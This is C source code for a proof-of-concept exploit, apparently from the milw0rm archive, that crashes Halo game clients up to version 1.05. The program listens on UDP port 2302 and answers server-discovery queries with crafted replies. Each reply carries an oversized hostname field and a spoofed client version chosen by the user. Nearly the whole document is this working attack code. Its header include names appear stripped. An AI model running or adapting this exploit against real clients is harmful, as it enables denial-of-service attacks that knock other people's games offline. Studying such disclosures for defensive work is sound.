/* by Luigi Auriemma */ #include #include #include #ifdef WIN32 #include /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #else #include #include #include #include #include #include #endif #define VER "0.1" #define BUFFSZ 2048 #define PING "\x05\x00\x00\x00\x00\x00" #define PORT 2302 #define GAMEVER "GAMEVER__HERE" #define BOOM "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" char *versions[][2] = { { "1.05", "01.00.05.0610" }, { "1.04", "01.00.04.0607" }, { "1.031", "01.00.03.0606" }, { "1.03", "01.00.03.0605" }, { "1.02", "01.00.02.0581" }, { "1.01", "01.00.01.0580" }, { "1.00", "01.00.00.0564" }, { "ce", "01.00.00.0609" }, { NULL, NULL } }; void std_err(void); int main(int argc, char *argv[]) { int sd, len, on = 1, i, iver, psz; struct sockaddr_in peer; u_char buff[BUFFSZ + 1], *pck, pcklan[] = "\x00\x00\x00\x00\x00" "hostname\0" BOOM "\0" /* not only here */ "gamever\0" GAMEVER "\0" "hostport\0" "\0" "maxplayers\0" "16\0" "password\0" "0\0" "mapname\0" "longest\0" "dedicated\0" "1\0" "gamemode\0" "openplaying\0" "game_classic\0" "0\0" "numplayers\0" "0\0" "gametype\0" "CTF\0" "teamplay\0" "1\0" "gamevariant\0" "\0" "fraglimit\0" "3\0" "player_flags\0" "1943015556,2\0" "game_flags\0" "65\0" "\0" "\0", pckinternet[] = "\x00\x00\x00\x00\x00" BOOM "\0" GAMEVER "\0" "0\0" "CTF\0" "openplaying\0" "0\0" "16\0"; setbuf(stdout, NULL); fputs("\n" "Halo <= 1.05 broadcast client crash "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@altervista.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s \n" "\n" " You must decide what version of the clients you want to crash:\n" "\n", argv[0]); for(i = 0; *versions[i]; i++) { printf(" %s\t%s\n", versions[i][0], versions[i][1]); } fputc('\n', stdout); exit(1); } for(iver = 0; versions[iver][0]; iver++) { if(!strcmp(argv[1], versions[iver][0])) break; } if(!versions[iver][0]) { printf("\nError: you must choose between the versions listed at the beginning\n"); exit(1); } printf("- version: %s \t%s\n", versions[iver][0], versions[iver][1]); for(i = 0; i < (sizeof(pcklan) - 14); i++) { if(!memcmp(pcklan + i, GAMEVER, 13)) { memcpy(pcklan + i, versions[iver][1], 13); break; } } for(i = 0; i < (sizeof(pckinternet) - 14); i++) { if(!memcmp(pckinternet + i, GAMEVER, 13)) { memcpy(pckinternet + i, versions[iver][1], 13); break; } } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif peer.sin_addr.s_addr = INADDR_ANY; peer.sin_port = htons(PORT); peer.sin_family = AF_INET; psz = sizeof(peer); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); printf("- bind UDP port %d\n", PORT); if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)) < 0) std_err(); if(bind(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); fputs("\nClients:\n", stdout); while(1) { len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz); if(len < 0) std_err(); if(buff[2]) { printf("PING %s:%hu\n", inet_ntoa(peer.sin_addr), htons(peer.sin_port)); if(sendto(sd, PING, sizeof(PING) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); continue; } if(len == 10) { fputs("LAN ", stdout); pck = pcklan; len = sizeof(pcklan) - 1; } else { fputs("INTERNET ", stdout); pck = pckinternet; len = sizeof(pckinternet) - 1; } printf("%s:%hu\n", inet_ntoa(peer.sin_addr), htons(peer.sin_port)); memcpy(pck, buff + 2, 5); if(sendto(sd, pck, len, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); } close(sd); return(0); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2004-11-22]